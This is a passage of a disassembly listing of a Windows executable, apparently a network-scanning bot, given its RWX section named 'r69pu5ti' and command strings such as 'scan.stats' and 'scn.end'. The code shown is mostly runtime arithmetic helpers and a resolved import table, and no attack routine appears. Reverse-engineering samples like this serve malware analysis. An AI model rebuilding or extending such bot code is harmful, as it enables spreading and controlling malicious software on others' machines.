		and	[ebp+var_14], 0
		lea	ecx, [edi+edi]
		mov	edx, edi
		shr	edx, 1Fh
		lea	edi, [ebx+ebx]
		or	edi, edx
		mov	edx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		lea	ebx, [edx+edx]
		mov	edx, [ebp+arg_0]
		or	ebx, esi
		mov	[eax], ecx
		mov	[eax+4], edi
		mov	[eax+8], ebx
		movsx	edx, byte ptr [edx]
		lea	esi, [ecx+edx]
		cmp	esi, ecx
		mov	[ebp+var_10], edx
		jb	short loc_41D3CB
		cmp	esi, edx
		jnb	short loc_41D3D2

loc_41D3CB:				; CODE XREF: sub_41D2BA+10Bj
		mov	[ebp+var_14], 1

loc_41D3D2:				; CODE XREF: sub_41D2BA+10Fj
		cmp	[ebp+var_14], 0
		mov	[eax], esi
		jz	short loc_41D3F6
		lea	ecx, [edi+1]
		xor	edx, edx
		cmp	ecx, edi
		jb	short loc_41D3E8
		cmp	ecx, 1
		jnb	short loc_41D3EB

loc_41D3E8:				; CODE XREF: sub_41D2BA+127j
		xor	edx, edx
		inc	edx

loc_41D3EB:				; CODE XREF: sub_41D2BA+12Cj
		test	edx, edx
		mov	[eax+4], ecx
		jz	short loc_41D3F6
		inc	ebx
		mov	[eax+8], ebx

loc_41D3F6:				; CODE XREF: sub_41D2BA+11Ej
					; sub_41D2BA+136j
		dec	[ebp+arg_4]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_4], 0
		ja	loc_41D2EA
		xor	esi, esi
		jmp	short loc_41D430
; ---------------------------------------------------------------------------

loc_41D40A:				; CODE XREF: sub_41D2BA+179j
		mov	ecx, [eax+4]
		mov	edx, ecx
		shr	edx, 10h
		mov	[eax+8], edx
		mov	edx, [eax]
		mov	edi, edx
		shl	ecx, 10h
		shr	edi, 10h
		or	ecx, edi
		shl	edx, 10h
		add	[ebp+var_18], 0FFF0h
		mov	[eax+4], ecx
		mov	[eax], edx

loc_41D430:				; CODE XREF: sub_41D2BA+2Aj
					; sub_41D2BA+14Ej
		cmp	[eax+8], esi
		jz	short loc_41D40A
		mov	ebx, 8000h
		test	[eax+8], ebx
		jnz	short loc_41D46F

loc_41D43F:				; CODE XREF: sub_41D2BA+1B3j
		mov	esi, [eax]
		mov	edi, [eax+4]
		add	[ebp+var_18], 0FFFFh
		mov	ecx, esi
		add	esi, esi
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		test	ecx, ebx
		mov	[eax+4], esi
		mov	[eax+8], ecx
		jz	short loc_41D43F

loc_41D46F:				; CODE XREF: sub_41D2BA+183j
		mov	cx, word ptr [ebp+var_18]
		mov	[eax+0Ah], cx
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41D2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41D486	proc near		; CODE XREF: sub_40E23D+24p
					; sub_41236E+10p ...
		jmp	ds:off_41E184
sub_41D486	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D490	proc near		; CODE XREF: sub_402BB7+2Fp
					; sub_402BB7+6Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D4B1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D4B1:				; CODE XREF: sub_41D490+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D4CD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D4CD:				; CODE XREF: sub_41D490+27j
		or	eax, eax
		jnz	short loc_41D4E9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D52A
; ---------------------------------------------------------------------------

loc_41D4E9:				; CODE XREF: sub_41D490+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D4F7:				; CODE XREF: sub_41D490+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D4F7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D525
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D525
		jb	short loc_41D526
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D526

loc_41D525:				; CODE XREF: sub_41D490+85j
					; sub_41D490+8Bj
		dec	esi

loc_41D526:				; CODE XREF: sub_41D490+8Dj
					; sub_41D490+93j
		xor	edx, edx
		mov	eax, esi

loc_41D52A:				; CODE XREF: sub_41D490+57j
		dec	edi
		jnz	short loc_41D534
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D534:				; CODE XREF: sub_41D490+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D490	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	dword_434D40, 0
		jz	short sub_41D576

loc_41D549:				; CODE XREF: .text:0041D574j
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		and	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		cvttsd2si eax, qword ptr [esp]
		leave
		retn
; ---------------------------------------------------------------------------
		cmp	dword_434D40, 0
		jz	short sub_41D576
		sub	esp, 4
		fnstcw	word ptr [esp]
		pop	eax
		and	ax, 7Fh
		cmp	ax, 7Fh
		jz	short loc_41D549

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D576	proc near		; CODE XREF: .text:0040980Dp
					; .text:0041D547j ...

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_41D5D5

loc_41D599:				; CODE XREF: sub_41D576+69j
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_41D5BD
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_41D5E9
; ---------------------------------------------------------------------------

loc_41D5BD:				; CODE XREF: sub_41D576+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_41D5E9
; ---------------------------------------------------------------------------

loc_41D5D5:				; CODE XREF: sub_41D576+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_41D599
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_41D5E9:				; CODE XREF: sub_41D576+45j
					; sub_41D576+5Dj
		leave
		retn
sub_41D576	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_401ED9

; =============== S U B	R O U T	I N E =======================================



sub_41D5F3	proc near		; CODE XREF: sub_411CE7+14p
					; DATA XREF: sub_401FC0+2o ...

arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_421880
		jmp	sub_40E28F
sub_41D5F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D60E	proc near		; DATA XREF: sub_415216+2o

arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_421C30
		jmp	sub_40E28F
sub_41D60E	endp

; ---------------------------------------------------------------------------

loc_41D629:				; DATA XREF: sub_4021E4+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_422038
		jmp	sub_40E28F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40C899
; ---------------------------------------------------------------------------

loc_41D64C:				; DATA XREF: sub_401DA8+2o
					; sub_402188+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_422064
		jmp	sub_40E28F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_401ED9
; ---------------------------------------------------------------------------

loc_41D66F:				; DATA XREF: sub_408525+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-58h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_422090
		jmp	sub_40E28F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_40CB3C
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D694:				; DATA XREF: sub_402FC8+2o
					; sub_407F60+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_4220BC
		jmp	sub_40E28F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-6Ch]
		call	sub_40CB3C
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D6B9:				; DATA XREF: .text:00409DD3o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-70h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_4220E8
		jmp	sub_40E28F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-4C0h]
		call	sub_40CB3C
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D6EB:				; DATA XREF: .text:004086CDo
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-4C4h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_422114
		jmp	sub_40E28F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-33Ch]
		call	sub_40CB3C
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D720:				; DATA XREF: sub_4085E6+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-344h]
		xor	ecx, eax
		call	sub_40AB4A
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AB4A
		mov	eax, offset dword_422140
		jmp	sub_40E28F
; ---------------------------------------------------------------------------

loc_41D748:				; DATA XREF: r69pu5ti:0041E29Co
		call	sub_402033
		and	dword_433BBC, 0
		push	offset loc_41D800
		mov	dword_433BB8, eax
		call	sub_40C9F0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D765:				; DATA XREF: r69pu5ti:0041E29Co
		call	sub_408598
		and	dword_433BC8, 0
		push	offset loc_41D849
		mov	dword_433BC4, eax
		call	sub_40C9F0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D782:				; DATA XREF: r69pu5ti:0041E29Co
		push	esi
		push	offset aUpdate	; "update"
		mov	esi, offset off_433BCC
		call	sub_401E54
		mov	off_433BCC, offset aJ@ ; "Ȇ@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D79E:				; DATA XREF: r69pu5ti:0041E29Co
		mov	eax, dword_424650
		add	eax, 6
		mov	dword_433BD0, eax
		retn
; ---------------------------------------------------------------------------

loc_41D7AC:				; DATA XREF: r69pu5ti:0041E29Co
		push	esi
		push	offset dword_421460
		mov	esi, offset off_433BDC
		call	sub_401E54
		mov	off_433BDC, offset aA@ ; "Ñ@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D7C8:				; DATA XREF: r69pu5ti:0041E29Co
		push	esi
		push	offset aScn_end	; "scn.end"
		mov	esi, offset off_433BD4
		call	sub_401E54
		mov	off_433BD4, offset aWv@	; "w¢@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D7E4:				; DATA XREF: r69pu5ti:0041E29Co
		push	esi
		push	offset aScan_stats ; "scan.stats"
		mov	esi, offset off_433BD8
		call	sub_401E54
		mov	off_433BD8, offset aTg@	; "T£@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D800:				; DATA XREF: .text:0041D754o
		mov	eax, dword_433BB8
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, dword_433BB8
		mov	[eax+4], eax
		and	dword_433BBC, 0
		cmp	ecx, dword_433BB8
		jz	short loc_41D835
		push	esi

loc_41D821:				; CODE XREF: .text:0041D832j
		mov	esi, [ecx]
		push	ecx
		call	sub_40CB3C
		cmp	esi, dword_433BB8
		pop	ecx
		mov	ecx, esi
		jnz	short loc_41D821
		pop	esi

loc_41D835:				; CODE XREF: .text:0041D81Ej
		push	dword_433BB8
		call	sub_40CB3C
		and	dword_433BB8, 0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D849:				; DATA XREF: .text:0041D771o
		mov	eax, dword_433BC4
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, dword_433BC4
		mov	[eax+4], eax
		and	dword_433BC8, 0
		cmp	ecx, dword_433BC4
		jz	short loc_41D87E
		push	esi

loc_41D86A:				; CODE XREF: .text:0041D87Bj
		mov	esi, [ecx]
		push	ecx
		call	sub_40CB3C
		cmp	esi, dword_433BC4
		pop	ecx
		mov	ecx, esi
		jnz	short loc_41D86A
		pop	esi

loc_41D87E:				; CODE XREF: .text:0041D867j
		push	dword_433BC4
		call	sub_40CB3C
		and	dword_433BC4, 0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D892:				; DATA XREF: .text:0040CC5Ao
		mov	dword_425B04, offset off_41E304
		mov	ecx, offset dword_425B04
		jmp	sub_40C899
; ---------------------------------------------------------------------------
		align 800h
_text		ends

; Section 2. (virtual address 0001E000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 0001E000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
r69pu5ti	segment	para public 'CODE' use32
		assume cs:r69pu5ti
		;org 41E000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_41E000	dd offset sub_44271A	; DATA XREF: sub_405168+1Br
					; sub_405231+1Fr ...
off_41E004	dd offset sub_439051	; DATA XREF: sub_4051BC+41r
off_41E008	dd offset sub_43DF56	; DATA XREF: sub_405231+4Dr
off_41E00C	dd offset sub_4425D0	; DATA XREF: sub_40140A+14Dr
					; sub_40158F+1C1r ...
off_41E010	dd offset sub_446217	; DATA XREF: sub_40196D+Er
					; sub_446217+5r ...
off_41E014	dd offset sub_43A11F	; DATA XREF: sub_40158F+9Fr
					; sub_40158F+1ADr ...
off_41E018	dd offset sub_440B68	; DATA XREF: sub_4019F9+82r
					; sub_4432B8+98w ...
off_41E01C	dd offset sub_449641	; DATA XREF: sub_40140A+5Dr
					; y22d6.y.:0043E333r ...
off_41E020	dd offset sub_438FA6	; DATA XREF: sub_40158F+156r
					; sub_438FA6+5r ...
off_41E024	dd offset sub_43DCC0	; DATA XREF: sub_4019F9+24r
					; sub_439E54+9r ...
off_41E028	dd offset sub_43B252	; DATA XREF: sub_40140A+96r
					; sub_40158F+81r ...
off_41E02C	dd offset sub_4464BD	; DATA XREF: sub_401000+1D0r
					; sub_43CCD2+4w ...
off_41E030	dd offset sub_44D397	; DATA XREF: sub_401000+202r
					; sub_401000+287r ...
off_41E034	dd offset sub_44E232	; DATA XREF: sub_401000+1B4r
					; y22d6.y.:0043E7ABw ...
off_41E038	dd offset sub_43E7BF	; DATA XREF: sub_40158F+17Ar
					; y22d6.y.:00447E41r ...
off_41E03C	dd offset sub_440CDB	; DATA XREF: sub_40158F+B0r
					; sub_440CDB+5r
off_41E040	dd offset sub_44AEDA	; DATA XREF: sub_40158F+16Cr
					; y22d6.y.:0043C06Ew ...
off_41E044	dd offset sub_44D041	; DATA XREF: sub_405168+39r
					; y22d6.y.:0043FFF3r ...
		dd 0
dword_41E04C	dd 77E61BB8h		; DATA XREF: sub_402632+8Br
					; y22d6.y.:0044727Br
dword_41E050	dd 77E704FCh		; DATA XREF: sub_4026D7+A1r
					; sub_40312D+37r ...
off_41E054	dd offset sub_441FA5	; DATA XREF: sub_402BB7+19r
					; sub_43BC90+9r ...
dword_41E058	dd 77E7C657h		; DATA XREF: sub_402AAB+24r
					; sub_4049E1+340r ...
off_41E05C	dd offset sub_44A862	; DATA XREF: sub_403249+288r
					; sub_4088D0+AAr ...
off_41E060	dd offset sub_43E09E	; DATA XREF: sub_403249+298r
					; sub_43E09E+5r ...
off_41E064	dd offset sub_442EA9	; DATA XREF: sub_403249+2CBr
					; sub_416A1E+40r ...
off_41E068	dd offset sub_441637	; DATA XREF: sub_403249+2DBr
					; .text:00409486r ...
off_41E06C	dd offset sub_447258	; DATA XREF: sub_4049E1+2FBr
					; sub_408395+5Er ...
dword_41E070	dd 77E6BD13h		; DATA XREF: sub_4049E1+195r
					; sub_443C95+4w ...
off_41E074	dd offset sub_444F37	; DATA XREF: sub_4049E1+2DAr
					; sub_44057E-5DAEw ...
off_41E078	dd offset sub_444871	; DATA XREF: sub_405299+99r
					; sub_4088D0+107r ...
off_41E07C	dd offset sub_43BC01	; DATA XREF: sub_407FE4+20r
					; sub_4081DD+42r ...
off_41E080	dd offset sub_441020	; DATA XREF: sub_4081DD+177r
					; sub_408395+1Cr ...
dword_41E084	dd 77E802FCh		; DATA XREF: sub_402BB7+Br
					; sub_414DEC+5Dr ...
off_41E088	dd offset sub_438A94	; DATA XREF: .text:004098B7r
					; y22d6.y.:004463F5r ...
dword_41E08C	dd 77E77CCEh		; DATA XREF: sub_413B24+3E7r
					; sub_415CB7:loc_415D64r ...
off_41E090	dd offset sub_44229A	; DATA XREF: sub_4099FF+26Fr
					; y22d6.y.:00437312w ...
off_41E094	dd offset sub_442638	; DATA XREF: sub_41A0B7+14Cr
					; sub_442638+5r ...
off_41E098	dd offset sub_448488	; DATA XREF: sub_419FEC+45r
					; y22d6.y.:004437A2r
off_41E09C	dd offset sub_44314D	; DATA XREF: sub_419FEC+78r
					; sub_44314D+5r
off_41E0A0	dd offset sub_449280	; DATA XREF: sub_419FEC+9Br
					; y22d6.y.:00448437w ...
off_41E0A4	dd offset sub_439227	; DATA XREF: sub_418C1B+8Cr
					; sub_439227+5r ...
off_41E0A8	dd offset sub_43D5FE	; DATA XREF: sub_41884B:loc_41889Fr
					; sub_4188C8:loc_418920r ...
off_41E0AC	dd offset sub_44B810	; DATA XREF: sub_402B8C+20r
					; sub_419DC4+22r ...
off_41E0B0	dd offset sub_43704E	; DATA XREF: sub_402833+17Ar
					; sub_4049E1+309r ...
dword_41E0B4	dd 77E7A099h		; DATA XREF: sub_401B44+38r
					; sub_4026D7+6Ar ...
off_41E0B8	dd offset sub_446188	; DATA XREF: sub_401000+343r
					; sub_4049E1+261r ...
off_41E0BC	dd offset sub_44D730	; DATA XREF: sub_40186E+4Br
					; sub_448EB6-7A77w ...
off_41E0C0	dd offset sub_441453	; DATA XREF: sub_4017FD+4Br
					; y22d6.y.:0043962Dw ...
dword_41E0C4	dd 77E77963h		; DATA XREF: sub_401000+222r
					; sub_401000+3AAr ...
dword_41E0C8	dd 77E77CC4h		; DATA XREF: sub_401000:loc_4013E4r
					; sub_4088D0:loc_408B02r ...
dword_41E0CC	dd 77E79F93h		; DATA XREF: sub_401000+22r
					; sub_401B44+31r ...
off_41E0D0	dd offset sub_44B635	; DATA XREF: sub_401000+E1r
					; sub_401BBC+1Ar ...
off_41E0D4	dd offset sub_44439D	; DATA XREF: sub_401000+39r
					; sub_401BBC+21r ...
dword_41E0D8	dd 77F5157Dh		; DATA XREF: sub_401000+1C1r
					; sub_40196D+3Er ...
off_41E0DC	dd offset sub_44A359	; DATA XREF: sub_401000+326r
					; sub_40CA0C+E0r ...
off_41E0E0	dd offset sub_43E389	; DATA XREF: sub_401000+335r
					; sub_401000+3B7r ...
dword_41E0E4	dd 77E77CB7h		; DATA XREF: .text:0040DFFBr
					; sub_41A0B7+67r ...
off_41E0E8	dd offset sub_43DB13	; DATA XREF: sub_401000:loc_40119Fr
					; sub_43DB13+5r
dword_41E0EC	dd 77E7751Ah		; DATA XREF: sub_4019F9+Cr
					; sub_402D40+11r ...
dword_41E0F0	dd 77F51597h		; DATA XREF: sub_40D35A+68r
					; .text:0040E030r ...
off_41E0F4	dd offset sub_43946E	; DATA XREF: sub_408409+8r
					; y22d6.y.:004450E1r ...
dword_41E0F8	dd 77F516F8h		; DATA XREF: sub_40D437+Fr
					; .text:0040E004r ...
off_41E0FC	dd offset sub_44A77E	; DATA XREF: sub_416BBA+11Dr
					; sub_44A77E+5r ...
off_41E100	dd offset sub_441C1C	; DATA XREF: sub_416BBA:loc_416CF3r
					; y22d6.y.:004424F7r ...
off_41E104	dd offset sub_44B515	; DATA XREF: .text:00416868r
					; sub_439C3E+4w ...
dword_41E108	dd 77E7C866h		; DATA XREF: sub_41609C+2Dr
					; sub_41609C+11Cr ...
off_41E10C	dd offset sub_44A5D5	; DATA XREF: sub_41609C+191r
					; y22d6.y.:00449E01w ...
dword_41E110	dd 77E781F9h		; DATA XREF: sub_415CB7+30r
					; sub_415CB7+144r ...
off_41E114	dd offset sub_43BB5A	; DATA XREF: sub_415CB7+294r
					; sub_415CB7+365r ...
off_41E118	dd offset sub_44E33C	; DATA XREF: sub_414DEC+35r
dword_41E11C	dd 77E77EE1h		; DATA XREF: sub_414C6F+Br
					; y22d6.y.:0043742Ar ...
dword_41E120	dd 77E79924h		; DATA XREF: sub_414C6F:loc_414CE9r
					; sub_415CB7+216r ...
dword_41E124	dd 77E7C9E1h		; DATA XREF: sub_414C6F+CCr
					; y22d6.y.:00439F09w ...
off_41E128	dd offset sub_439F1D	; DATA XREF: sub_414C6F:loc_414D4Dr
					; sub_439F1D+5r ...
off_41E12C	dd offset sub_441A16	; DATA XREF: sub_414C6F+10Fr
					; sub_414C6F+126r ...
dword_41E130	dd 77E78406h		; DATA XREF: sub_412464+12Br
					; sub_412464+1C7r ...
dword_41E134	dd 77E79C3Dh		; DATA XREF: sub_412464+1B5r
					; sub_4136C1+169r ...
dword_41E138	dd 77E7C931h		; DATA XREF: sub_412464+21Fr
					; y22d6.y.:0044B3D5w ...
off_41E13C	dd offset sub_44B3B9	; DATA XREF: sub_40FE64+27r
					; sub_417720+134r ...
off_41E140	dd offset sub_44C970	; DATA XREF: sub_40FE64+77r
					; sub_40FF14+52r ...
off_41E144	dd offset sub_43BA32	; DATA XREF: sub_40FB50+22Fr
					; y22d6.y.:0043ADC2r ...
dword_41E148	dd 77E7C726h		; DATA XREF: sub_40FA83+11r
					; sub_4432B8:loc_43818Cr ...
off_41E14C	dd offset sub_443778	; DATA XREF: sub_40FA83+47r
					; y22d6.y.:0043E54Fw ...
dword_41E150	dd 77F7E21Fh		; DATA XREF: sub_40F9F7+28r
					; sub_411DE0+28r ...
dword_41E154	dd 77F7E300h		; DATA XREF: sub_40F91F+Dr
					; sub_411E32+28r ...
off_41E158	dd offset sub_43CBF3	; DATA XREF: sub_40F8CA+1r
					; sub_417BA0+62r ...
dword_41E15C	dd 77F51587h		; DATA XREF: sub_40F31B+78r
					; sub_416874+ABr ...
off_41E160	dd offset sub_43EF8B	; DATA XREF: sub_40F22A+2Br
					; sub_40F4D7+85r ...
dword_41E164	dd 77E79B39h		; DATA XREF: sub_40F200+23r
					; sub_40F4D7+58r ...
dword_41E168	dd 77E7C5B4h		; DATA XREF: sub_40F1F7r
					; sub_40F4D7:loc_40F576r ...
dword_41E16C	dd 77E78B61h		; DATA XREF: sub_40F128+7r
					; sub_40F194+7r ...
off_41E170	dd offset sub_44E38B	; DATA XREF: sub_40EA45+27r
					; y22d6.y.:004383C0r ...
dword_41E174	dd 77E7A13Fh		; DATA XREF: sub_40EA45+4Ar
					; y22d6.y.:0043CEB4w ...
dword_41E178	dd 77E778C5h		; DATA XREF: sub_40E9A1+59r
					; sub_40EC6A+76r ...
dword_41E17C	dd 77E777EFh		; DATA XREF: sub_40E9A1+84r
					; sub_40EC6A+95r ...
dword_41E180	dd 77E7849Fh		; DATA XREF: sub_40E817+24r
					; sub_40EABF+56r ...
off_41E184	dd offset sub_44C591	; DATA XREF: sub_41D486r
					; y22d6.y.:loc_43A9A7w	...
off_41E188	dd offset sub_43A9BB	; DATA XREF: sub_40E1BC+40r
					; sub_41935A+222r ...
off_41E18C	dd offset sub_43E5C2	; DATA XREF: .text:0040DFE6r
					; sub_412464+15r
off_41E190	dd offset sub_43A6E1	; DATA XREF: .text:loc_40E0DFr
off_41E194	dd offset sub_44255D	; DATA XREF: sub_40CA0C+AAr
					; sub_40E68F+B9r ...
dword_41E198	dd 77F522F2h		; DATA XREF: sub_40C58B+82r
					; y22d6.y.:0043966Br ...
dword_41E19C	dd 77E80656h		; DATA XREF: sub_40C62Er
					; sub_414DEC+41r ...
off_41E1A0	dd offset sub_441CF9	; DATA XREF: sub_40CA0C+D9r
					; sub_40E68F+F5r ...
off_41E1A4	dd offset sub_4416C0	; DATA XREF: sub_40CA0C+BEr
					; sub_40E68F+D9r ...
dword_41E1A8	dd 77E7C9E7h		; DATA XREF: sub_40CA0C+B4r
					; sub_40E68F+CEr ...
		align 10h
dword_41E1B0	dd 71B2ACCBh		; DATA XREF: sub_40AA7Cr
		align 8
dword_41E1B8	dd 1F7CD927h		; DATA XREF: sub_40AA76r
dword_41E1BC	dd 1F7CB8F8h		; DATA XREF: sub_40AA70r
dword_41E1C0	dd 1F7CD214h		; DATA XREF: sub_40AA6Ar
dword_41E1C4	dd 1F7D886Ah		; DATA XREF: sub_40AA64r
dword_41E1C8	dd 1F7BA3A9h		; DATA XREF: sub_40AA5Er
		align 10h
dword_41E1D0	dd 77CDAF8Dh		; DATA XREF: sub_408B28+11Dr
dword_41E1D4	dd 77CDCE5Dh		; DATA XREF: sub_408B28+56r
dword_41E1D8	dd 77CC4008h		; DATA XREF: sub_408B28+D7r
dword_41E1DC	dd 77CDCFB0h		; DATA XREF: sub_408B28+67r
dword_41E1E0	dd 77CDC9B5h		; DATA XREF: sub_408B28+75r
					; sub_408B28+CDr ...
dword_41E1E4	dd 77D0BC44h		; DATA XREF: sub_408B28+BFr
dword_41E1E8	dd 77D0BE59h		; DATA XREF: sub_408B28+F8r
dword_41E1EC	dd 77CD8989h		; DATA XREF: sub_408B28+10Cr
		dd 0
dword_41E1F4	dd 77428B97h		; DATA XREF: sub_4026D7+148r
					; sub_4088D0+1E3r
		dd 0
off_41E1FC	dd offset sub_448CDC	; DATA XREF: sub_404844+30r
					; y22d6.y.:0043B14Cr ...
off_41E200	dd offset sub_44441C	; DATA XREF: sub_40300B+A5r
					; sub_44441C+5r ...
off_41E204	dd offset sub_43F9E0	; DATA XREF: sub_40300B+67r
					; y22d6.y.:00440A5Br ...
off_41E208	dd offset sub_44C2B0	; DATA XREF: sub_40300B+Cr
					; sub_43A8B0:loc_43A8B4w ...
off_41E20C	dd offset sub_43849F	; DATA XREF: sub_40300B+B1r
					; sub_43849F+5r ...
off_41E210	dd offset loc_44518A	; DATA XREF: sub_4030E2+Dr
					; sub_4030E2:loc_43CA52r ...
off_41E214	dd offset sub_43F102	; DATA XREF: sub_40300B+BBr
					; sub_43F102+5r ...
off_41E218	dd offset sub_44D6D0	; DATA XREF: sub_40300B+4Ar
					; sub_449641-B88Cr ...
off_41E21C	dd offset sub_44759E	; DATA XREF: sub_40300B+94r
					; y22d6.y.:loc_4386BEw	...
		dd 0
dword_41E224	dd 7620BD61h		; DATA XREF: sub_4088D0+EBr
dword_41E228	dd 76214750h		; DATA XREF: sub_4088D0+7Dr
dword_41E22C	dd 7620AFB6h		; DATA XREF: sub_4088D0+39r
		dd 0
dword_41E234	dd 71AB12F8h		; DATA XREF: sub_4023EB+79r
dword_41E238	dd 71AB1746h		; DATA XREF: sub_4023EB+66r
					; sub_40312D+B1r ...
dword_41E23C	dd 71AB5690h		; DATA XREF: sub_4023EB+D8r
					; sub_403249+86r ...
dword_41E240	dd 71AB3C22h		; DATA XREF: sub_4023EB+2Dr
					; sub_40312D+74r ...
dword_41E244	dd 71AB1A6Dh		; DATA XREF: sub_4023EB+22Fr
					; sub_40312D:loc_4031B2r ...
dword_41E248	dd 71AB1AF4h		; DATA XREF: sub_4023EB+BBr
